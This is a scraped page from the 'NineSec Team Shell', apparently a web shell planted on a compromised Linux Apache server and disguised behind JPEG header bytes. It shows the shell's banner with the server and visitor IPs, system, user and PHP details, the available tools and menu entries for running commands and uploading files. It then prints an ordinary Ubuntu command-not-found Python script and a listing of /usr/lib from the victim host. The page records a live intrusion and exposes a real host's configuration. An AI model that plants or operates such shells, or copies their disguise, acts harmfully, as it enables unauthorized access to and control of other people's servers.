�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/ldap/../etckeeper/../../usr/lib/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/ldap/../etckeeper/../../usr/lib/command-not-found
#!/usr/bin/python3
# (c) Zygmunt Krynicki 2005, 2006, 2007, 2008
# Licensed under GPL, see COPYING for the whole text

from __future__ import absolute_import, print_function


__version__ = "0.3"
BUG_REPORT_URL = "https://bugs.launchpad.net/command-not-found/+filebug"

try:
    import sys
    if sys.path and sys.path[0] == '/usr/lib':
        # Avoid ImportError noise due to odd installation location.
        sys.path.pop(0)
    if sys.version < '3':
        # We might end up being executed with Python 2 due to an old
        # /etc/bash.bashrc.
        import os
        if "COMMAND_NOT_FOUND_FORCE_PYTHON2" not in os.environ:
            os.execvp("/usr/bin/python3", [sys.argv[0]] + sys.argv)

    import gettext
    import locale
    from optparse import OptionParser

    from CommandNotFound.util import crash_guard
    from CommandNotFound import CommandNotFound
except KeyboardInterrupt:
    import sys
    sys.exit(127)


def enable_i18n():
    cnf = gettext.translation("command-not-found", fallback=True)
    kwargs = {}
    if sys.version < '3':
        kwargs["unicode"] = True
    cnf.install(**kwargs)
    try:
        locale.setlocale(locale.LC_ALL, '')
    except locale.Error:
        locale.setlocale(locale.LC_ALL, 'C')


def fix_sys_argv(encoding=None):
    """
    Fix sys.argv to have only unicode strings, not binary strings.
    This is required by various places where such argument might be
    automatically coerced to unicode string for formatting
    """
    if encoding is None:
        encoding = locale.getpreferredencoding()
    sys.argv = [arg.decode(encoding) for arg in sys.argv]


class LocaleOptionParser(OptionParser):
    """
    OptionParser is broken as its implementation of _get_encoding() uses
    sys.getdefaultencoding() which is ascii, what it should be using is
    locale.getpreferredencoding() which returns value based on LC_CTYPE (most
    likely) and allows for UTF-8 encoding to be used.
    """
    def _get_encoding(self, file):
        encoding = getattr(file, "encoding", None)
        if not encoding:
            encoding = locale.getpreferredencoding()
        return encoding


def main():
    enable_i18n()
    if sys.version < '3':
        fix_sys_argv()
    parser = LocaleOptionParser(
        version=__version__,
        usage=_("%prog [options] <command-name>"))
    parser.add_option('-d', '--data-dir', action='store',
                      default="/usr/share/command-not-found",
                      help=_("use this path to locate data fields"))
    parser.add_option('--ignore-installed', '--ignore-installed',
                      action='store_true',  default=False,
                      help=_("ignore local binaries and display the available packages"))
    parser.add_option('--no-failure-msg',
                      action='store_true', default=False,
                      help=_("don't print '<command-name>: command not found'"))
    (options, args) = parser.parse_args()
    if len(args) == 1:
        try:
            cnf = CommandNotFound.CommandNotFound(options.data_dir)
        except FileNotFoundError:
            print(_("Could not find command-not-found database. Run 'sudo apt update' to populate it."), file=sys.stderr)
            print(_("%s: command not found") % args[0], file=sys.stderr)
            return
        if not cnf.advise(args[0], options.ignore_installed) and not options.no_failure_msg:
            print(_("%s: command not found") % args[0], file=sys.stderr)


if __name__ == "__main__":
    crash_guard(main, BUG_REPORT_URL, __version__)

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
March 29 2022 11:10:06
root
0755
X11
--
April 25 2020 3:53:29
root
0755
accountsservice
--
October 23 2023 6:29:22
root
0755
apache2
--
December 13 2023 9:44:09
root
0755
apt
--
December 13 2023 9:42:30
root
0755
aspell
--
April 04 2022 10:16:17
root
0755
bfd-plugins
--
March 29 2022 10:48:06
root
0755
binfmt.d
--
April 22 2020 11:04:26
root
0755
cgi-bin
--
February 12 2024 9:08:26
root
0755
compat-ld
--
February 12 2024 9:07:29
root
0755
dbus-1.0
--
October 28 2022 6:49:25
root
0755
dovecot
--
July 12 2022 8:01:02
root
0755
dpkg
--
April 25 2020 3:53:00
root
0755
eject
--
April 25 2020 3:52:57
root
0755
emacsen-common
--
April 04 2022 10:16:15
root
0755
environment.d
--
February 12 2024 9:07:12
root
0755
file
--
April 25 2020 3:52:57
root
0755
firefox
--
February 12 2024 9:07:36
root
0755
firefox-addons
--
April 04 2022 10:16:28
root
0755
firewalld
--
March 29 2022 9:51:57
root
0755
gcc
--
April 25 2020 3:53:22
root
0755
girepository-1.0
--
March 29 2022 11:10:08
root
0755
git-core
--
October 23 2023 6:29:05
root
0755
gnupg
--
July 06 2022 8:35:32
root
0755
gnupg2
--
July 06 2022 8:35:32
root
0755
gold-ld
--
February 12 2024 9:07:29
root
0755
groff
--
April 25 2020 3:53:36
root
0755
initramfs-tools
--
April 25 2020 3:53:03
root
0755
ispell
--
April 04 2022 10:16:16
root
0755
kernel
--
April 25 2020 3:52:56
root
0755
language-selector
--
March 29 2022 11:08:41
root
0755
locale
--
December 13 2023 9:44:43
root
0755
man-db
--
April 25 2020 3:53:32
root
0755
mecab
--
March 29 2022 10:41:01
root
0755
mime
--
April 25 2020 3:52:54
root
0755
modules-load.d
--
April 22 2020 11:04:26
root
0755
mysql
--
February 12 2024 9:07:23
root
0755
networkd-dispatcher
--
April 25 2020 3:52:52
root
0755
node_modules
--
April 12 2022 9:22:54
root
0755
ogdi
--
October 23 2023 12:50:35
root
0755
opendbx
--
April 04 2022 9:49:24
root
0755
openssh
--
February 12 2024 9:07:24
root
0755
p7zip
--
March 29 2022 10:48:34
root
0755
packagekit
--
March 29 2022 11:10:12
root
0755
perl5
--
March 29 2022 10:50:57
root
0755
php
--
February 12 2024 9:08:14
root
0755
pm-utils
--
April 25 2020 3:53:36
root
0755
policykit-1
--
March 29 2022 9:51:55
root
0755
postfix
--
February 12 2024 9:08:39
root
0755
proftpd
--
March 29 2022 10:48:42
root
0755
python2.7
--
April 12 2022 9:17:46
root
0755
python3
--
April 25 2020 3:52:51
root
0755
python3.8
--
December 13 2023 9:43:48
root
0755
python3.9
--
March 29 2022 11:09:06
root
0755
rsyslog
--
May 06 2022 8:26:56
root
0755
ruby
--
March 29 2022 10:48:29
root
0755
sasl2
--
March 29 2022 9:54:26
root
0755
software-properties
--
October 23 2023 6:30:57
root
0755
ssl
--
February 12 2024 9:07:28
root
0755
sudo
--
October 23 2023 6:29:20
root
0755
sysctl.d
--
February 12 2024 9:07:12
root
0755
systemd
--
March 29 2022 11:10:14
root
0755
sysusers.d
--
February 12 2024 9:07:12
root
0755
tc
--
April 25 2020 3:53:03
root
0755
tmpfiles.d
--
February 12 2024 9:08:14
root
0755
ubuntu-advantage
--
December 13 2023 9:43:49
root
0755
ubuntu-release-upgrader
--
October 23 2023 6:29:23
root
0755
valgrind
--
April 12 2022 9:17:43
root
0755
x86_64-linux-gnu
--
February 12 2024 9:08:50
root
0755
cnf-update-db
0.722 KB
February 14 2022 6:10:22
root
0755
command-not-found
3.481 KB
February 14 2022 6:10:22
root
0755
libarmadillo.so.9
71.891 KB
March 23 2020 7:09:58
root
0644
libarmadillo.so.9.800.4
71.891 KB
March 23 2020 7:09:58
root
0644
libc-client.so.2007e
1.05 MB
August 26 2019 10:52:52
root
0644
libc-client.so.2007e.0
1.05 MB
August 26 2019 10:52:52
root
0644
libdfalt.so.0
492.078 KB
April 10 2020 6:44:30
root
0644
libdfalt.so.0.0.0
492.078 KB
April 10 2020 6:44:30
root
0644
libgdal.so.26
19.26 MB
March 29 2020 9:20:01
root
0644
libgdal.so.26.0.4
19.26 MB
March 29 2020 9:20:01
root
0644
libmcrypt.so.4
187.414 KB
April 07 2019 2:38:10
root
0644
libmcrypt.so.4.4.8
187.414 KB
April 07 2019 2:38:10
root
0644
libmfhdfalt.so.0
158.094 KB
April 10 2020 6:44:30
root
0644
libmfhdfalt.so.0.0.0
158.094 KB
April 10 2020 6:44:30
root
0644
libogdi.so.4
106.445 KB
September 05 2019 1:04:48
root
0644
libogdi.so.4.1
106.445 KB
September 05 2019 1:04:48
root
0644
libopendbx.so.1
14.258 KB
March 24 2020 3:06:24
root
0644
libopendbx.so.1.2.0
14.258 KB
March 24 2020 3:06:24
root
0644
libopendbxplus.so.1
58.68 KB
March 24 2020 3:06:24
root
0644
libopendbxplus.so.1.0.0
58.68 KB
March 24 2020 3:06:24
root
0644
libopendkim.so.11
124.211 KB
December 31 2019 3:16:22
root
0644
libopendkim.so.11.0.0
124.211 KB
December 31 2019 3:16:22
root
0644
libqdbm.so.14
276.258 KB
February 26 2020 6:10:58
root
0644
libqdbm.so.14.14.0
276.258 KB
February 26 2020 6:10:58
root
0644
librbl.so.1
17.992 KB
December 31 2019 3:16:22
root
0644
librbl.so.1.0.0
17.992 KB
December 31 2019 3:16:22
root
0644
libspf2.so.2
118.82 KB
January 15 2024 2:17:25
root
0644
libspf2.so.2.1.0
118.82 KB
January 15 2024 2:17:25
root
0644
libvbr.so.2
17.992 KB
December 31 2019 3:16:22
root
0644
libvbr.so.2.0.0
17.992 KB
December 31 2019 3:16:22
root
0644
libvpf.so.4
286.422 KB
September 05 2019 1:04:48
root
0644
libvpf.so.4.1
286.422 KB
September 05 2019 1:04:48
root
0644
os-release
0.373 KB
January 02 2024 6:12:43
root
0644
sendmail
34.305 KB
January 29 2024 9:49:03
root
0755
sftp-server
126.281 KB
January 02 2024 6:13:02
root
0755

NineSec Team - 2022